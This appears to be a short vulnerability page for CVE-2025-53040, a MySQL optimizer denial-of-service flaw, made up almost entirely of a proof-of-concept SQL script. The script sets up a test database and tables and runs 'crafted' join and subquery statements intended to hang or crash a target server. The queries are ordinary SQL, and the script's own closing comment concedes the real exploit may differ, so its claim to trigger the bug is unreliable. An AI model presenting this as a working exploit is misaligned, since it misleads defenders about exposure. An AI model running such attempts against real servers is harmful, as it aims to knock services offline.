CVE-2025-53040 Oracle MySQL Server Optimizer组件拒绝服务漏洞

-- CVE-2025-53040 PoC: MySQL Optimizer DoS -- Vulnerability: Denial of Service via Optimizer component -- Affected: MySQL 8.0.0-8.0.43, 8.4.0-8.4.6, 9.0.0-9.4.0 -- Requires: High privileged MySQL account -- Connect to the target MySQL server with high-privileged credentials -- mysql -h <target_host> -u <admin_user> -p -- Step 1: Create a test database (requires high privileges) CREATE DATABASE IF NOT EXISTS cve_test_db; USE cve_test_db; -- Step 2: Create tables with specific structures to trigger optimizer bug CREATE TABLE t1 ( id INT PRIMARY KEY AUTO_INCREMENT, col1 VARCHAR(255), col2 TEXT, col3 INT, INDEX idx_col1 (col1), INDEX idx_col3 (col3) ); CREATE TABLE t2 ( id INT PRIMARY KEY AUTO_INCREMENT, ref_id INT, data LONGTEXT, INDEX idx_ref (ref_id) ); -- Step 3: Insert sample data INSERT INTO t1 (col1, col2, col3) VALUES ('test1', REPEAT('A', 200), 1), ('test2', REPEAT('B', 200), 2), ('test3', REPEAT('C', 200), 3); INSERT INTO t2 (ref_id, data) VALUES (1, REPEAT('X', 1000)), (2, REPEAT('Y', 1000)), (3, REPEAT('Z', 1000)); -- Step 4: Trigger the optimizer vulnerability with a crafted query -- This complex query is designed to trigger the optimizer bug SELECT /*+ JOIN_ORDER(t1, t2) */ t1.id, t1.col1, t2.data FROM t1 INNER JOIN t2 ON t1.id = t2.ref_id WHERE t1.col3 IN (SELECT col3 FROM t1 WHERE col1 LIKE '%test%') ORDER BY t1.col1 DESC LIMIT 100; -- Step 5: Alternative trigger - subquery optimization exploit SELECT * FROM t1 WHERE id IN ( SELECT ref_id FROM t2 WHERE data LIKE CONCAT('%', (SELECT MAX(col1) FROM t1), '%') ); -- Note: The actual exploit may vary depending on the specific -- optimizer path triggered. The above demonstrates the general -- approach of using complex queries to trigger the optimizer bug. -- Monitor MySQL server for hang or crash after execution.